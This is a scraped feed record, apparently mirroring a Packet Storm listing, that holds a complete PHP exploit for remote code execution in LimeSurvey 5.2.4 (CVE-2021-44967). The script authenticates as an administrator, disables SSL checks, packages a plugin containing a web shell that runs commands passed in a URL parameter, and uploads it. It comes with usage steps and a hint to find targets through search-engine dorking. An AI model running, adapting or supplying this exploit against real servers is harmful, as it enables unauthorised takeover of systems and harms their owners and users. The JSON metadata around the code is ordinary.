{“lastseen”:”2026-02-03T20:20:49″,”description”:”Proof of concept exploit for LimeSurvey version 5.2.4 that loads a malicious PHP plugin and executes a reverse shell…”,”published”:”2026-02-03T00:00:00″,”modified”:”2026-02-03T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 LimeSurvey 5.2.4 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:214834″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2021-44967″],”sourceData”:”=============================================================================================================================================\\n | # Title : LimeSurvey 5.2.4 reverse shell Vulnerability |\\n | # Author : indoushka |\\n | # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 136.0.0 (64 bits) |\\n | # Vendor : https:\/\/www.limesurvey.org\/ |\\n =============================================================================================================================================\\n \\n POC :\\n \\n [+] Dorking \u0130n Google Or Other Search Enggine.\\n \\n [+] Code Description: This script is used to exploit vulnerability in LimeSurvey to load a malicious PHP plugin and execute a reverse shell.\\n \\n (Related : https:\/\/packetstorm.news\/files\/id\/189288\/ Related CVE numbers: \\tCVE-2021-44967 ) .\\n \\t\\n [+] save code as poc.php.\\n \\n [+] Set TArget : line 112\\n \\n [+] Usage : php poc.php\\n \\n [+] PayLoad :\\n \\n \\u003c?php\\n \\n \/**\\n * \u0647\u0630\u0627 \u0627\u0644\u0633\u0643\u0631\u064a\u0628\u062a \u064a\u064f\u0633\u062a\u062e\u062f\u0645 \u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u062b\u063a\u0631\u0629 CVE-2021-44967 \u0641\u064a LimeSurvey \u0644\u062a\u062d\u0645\u064a\u0644 \u0645\u0644\u062d\u0642 PHP \u062e\u0628\u064a\u062b \u0648\u062a\u0646\u0641\u064a\u0630 \u0639\u0643\u0633\u064a\u0629 Shell.\\n *\/\\n \\n \/\/ \u062a\u0639\u0637\u064a\u0644 \u062a\u062d\u0630\u064a\u0631\u0627\u062a SSL\\n $context = stream_context_create([\\n ‘ssl’ =\\u003e [\\n ‘verify_peer’ =\\u003e false,\\n ‘verify_peer_name’ =\\u003e false,\\n ]\\n ]);\\n \\n \/\/ \u0625\u0639\u062f\u0627\u062f\u0627\u062a \u0627\u0644\u0645\u0644\u062d\u0642 \u0627\u0644\u062e\u0628\u064a\u062b\\n $plugin_name = \\”ExploitRCE_\\” . rand(1000, 9999);\\n $date = date(\\”Y-m-d\\”);\\n $xml_config = \\”\\u003c?xml version=\\\\\\”1.0\\\\\\” encoding=\\\\\\”UTF-8\\\\\\”?\\u003e\\\\n\\”;\\n $xml_config .= \\”\\u003cconfig\\u003e\\\\n\\”;\\n $xml_config .= \\” \\u003cmetadata\\u003e\\\\n\\”;\\n $xml_config .= \\” \\u003cname\\u003e$plugin_name\\u003c\/name\\u003e\\\\n\\”;\\n $xml_config .= \\” \\u003ctype\\u003eplugin\\u003c\/type\\u003e\\\\n\\”;\\n $xml_config .= \\” \\u003ccreationDate\\u003e$date\\u003c\/creationDate\\u003e\\\\n\\”;\\n $xml_config .= \\” \\u003clastUpdate\\u003e$date\\u003c\/lastUpdate\\u003e\\\\n\\”;\\n $xml_config .= \\” \\u003cversion\\u003e1.0\\u003c\/version\\u003e\\\\n\\”;\\n $xml_config .= \\” \\u003c\/metadata\\u003e\\\\n\\”;\\n $xml_config .= \\” \\u003ccompatibility\\u003e\\\\n\\”;\\n $xml_config .= \\” \\u003cversion\\u003e3.0\\u003c\/version\\u003e\\\\n\\”;\\n $xml_config .= \\” \\u003cversion\\u003e4.0\\u003c\/version\\u003e\\\\n\\”;\\n $xml_config .= \\” \\u003cversion\\u003e5.0\\u003c\/version\\u003e\\\\n\\”;\\n $xml_config .= \\” \\u003cversion\\u003e6.0\\u003c\/version\\u003e\\\\n\\”;\\n $xml_config .= \\” \\u003cversion\\u003e7.0\\u003c\/version\\u003e\\\\n\\”;\\n $xml_config .= \\” \\u003c\/compatibility\\u003e\\\\n\\”;\\n $xml_config .= \\”\\u003c\/config\\u003e\\”;\\n \\n \/\/ \u062f\u0627\u0644\u0629 \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644 \u0625\u0644\u0649 LimeSurvey\\n function limesurvey_authenticate($url, $username, $password) {\\n echo \\”[*] \u0645\u062d\u0627\u0648\u0644\u0629 \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644…\\\\n\\”;\\n $login_url = \\”$url\/index.php\/admin\/authentication\/sa\/login\\”;\\n $login_page = file_get_contents($login_url, false, $GLOBALS[‘context’]);\\n preg_match(‘\/name=\\\\\\”YII_CSRF_TOKEN\\\\\\” value=\\\\\\”(.*?)\\\\\\”\/’, $login_page, $matches);\\n $csrf_token = $matches[1] ?? ”;\\n \\n $data = http_build_query([\\n \\”YII_CSRF_TOKEN\\” =\\u003e $csrf_token,\\n \\”authMethod\\” =\\u003e \\”Authdb\\”,\\n \\”user\\” =\\u003e $username,\\n \\”password\\” =\\u003e $password,\\n \\”login_submit\\” =\\u003e \\”login\\”\\n ]);\\n \\n $options = [\\n \\”http\\” =\\u003e [\\n \\”method\\” =\\u003e \\”POST\\”,\\n \\”header\\” =\\u003e \\”Content-type: application\/x-www-form-urlencoded\\”,\\n \\”content\\” =\\u003e $data,\\n ]\\n ];\\n \\n $result = file_get_contents($login_url, false, stream_context_create($options));\\n \\n if (strpos($result, ‘\/index.php\/admin\/index’) !== false) {\\n echo \\”[+] \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644 \u0646\u0627\u062c\u062d!\\\\n\\”;\\n } else {\\n echo \\”[-] \u0641\u0634\u0644 \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644\\\\n\\”;\\n exit();\\n }\\n }\\n \\n \/\/ \u0631\u0641\u0639 \u0648\u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u062d\u0645\u0648\u0644\u0629 \u0627\u0644\u062e\u0628\u064a\u062b\u0629\\n function upload_payload($url, $plugin_name, $payload) {\\n echo \\”[*] \u0631\u0641\u0639 \u0627\u0644\u062d\u0645\u0648\u0644\u0629 \u0627\u0644\u062e\u0628\u064a\u062b\u0629…\\\\n\\”;\\n $upload_url = \\”$url\/index.php\/admin\/pluginmanager?sa=upload\\”;\\n \\n $boundary = \\”—-WebKitFormBoundary\\” . md5(time());\\n $data = \\”–$boundary\\\\r\\\\n\\”;\\n $data .= \\”Content-Disposition: form-data; name=\\\\\\”the_file\\\\\\”; filename=\\\\\\”$plugin_name.zip\\\\\\”\\\\r\\\\n\\”;\\n $data .= \\”Content-Type: application\/zip\\\\r\\\\n\\\\r\\\\n\\”;\\n $data .= $payload . \\”\\\\r\\\\n\\”;\\n $data .= \\”–$boundary–\\\\r\\\\n\\”;\\n \\n $options = [\\n \\”http\\” =\\u003e [\\n \\”method\\” =\\u003e \\”POST\\”,\\n \\”header\\” =\\u003e \\”Content-Type: multipart\/form-data; boundary=$boundary\\”,\\n \\”content\\” =\\u003e $data,\\n ]\\n ];\\n \\n $result = file_get_contents($upload_url, false, stream_context_create($options));\\n \\n if (strpos($result, ‘sa=uploadConfirm’) !== false) {\\n echo \\”[+] \u0631\u0641\u0639 \u0627\u0644\u062d\u0645\u0648\u0644\u0629 \u0646\u0627\u062c\u062d!\\\\n\\”;\\n } else {\\n echo \\”[-] \u0641\u0634\u0644 \u0641\u064a \u0631\u0641\u0639 \u0627\u0644\u062d\u0645\u0648\u0644\u0629\\\\n\\”;\\n exit();\\n }\\n }\\n \\n \/\/ \u0625\u0639\u062f\u0627\u062f \u0627\u0644\u062d\u0645\u0648\u0644\u0629 \u0627\u0644\u062e\u0628\u064a\u062b\u0629\\n $payload = \\”\\u003c?php system(\\\\$_GET[‘cmd’]); ?\\u003e\\”;\\n $zip = new ZipArchive();\\n $zip_file = tempnam(sys_get_temp_dir(), \\”exploit\\”) . \\”.zip\\”;\\n $zip-\\u003eopen($zip_file, ZipArchive::CREATE);\\n $zip-\\u003eaddFromString(\\”config.xml\\”, $xml_config);\\n $zip-\\u003eaddFromString(\\”payload.php\\”, $payload);\\n $zip-\\u003eclose();\\n $payload_data = file_get_contents($zip_file);\\n unlink($zip_file);\\n \\n \/\/ \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\\n $url = \\”http:\/\/target-limesurvey.com\\”; \/\/ \u0627\u0633\u062a\u0628\u062f\u0644 \u0628\u0639\u0646\u0648\u0627\u0646 \u0627\u0644\u0647\u062f\u0641\\n $username = \\”admin\\”;\\n $password = \\”password\\”;\\n \\n limesurvey_authenticate($url, $username, $password);\\n upload_payload($url, $plugin_name, $payload_data);\\n \\n echo \\”[*] \u062a\u0645 \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0628\u0646\u062c\u0627\u062d!\\\\n\\”;\\n \\n \\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214834″,”cvss”:{“score”:9,”severity”:”HIGH”,”vector”:”AV:N\/AC:L\/Au:S\/C:C\/I:C\/A:C”,”version”:”2.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214834\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-03T20:20:49″,”description”:”Proof of concept exploit for LimeSurvey version 5.2.4 that loads a malicious PHP plugin and executes a reverse shell…”,”published”:”2026-02-03T00:00:00″,”modified”:”2026-02-03T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 LimeSurvey 5.2.4 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:214834″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2021-44967″],”sourceData”:”=============================================================================================================================================\\n |…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,86,12,15,13,53,7,11,5],"class_list":["post-38895","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-90","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n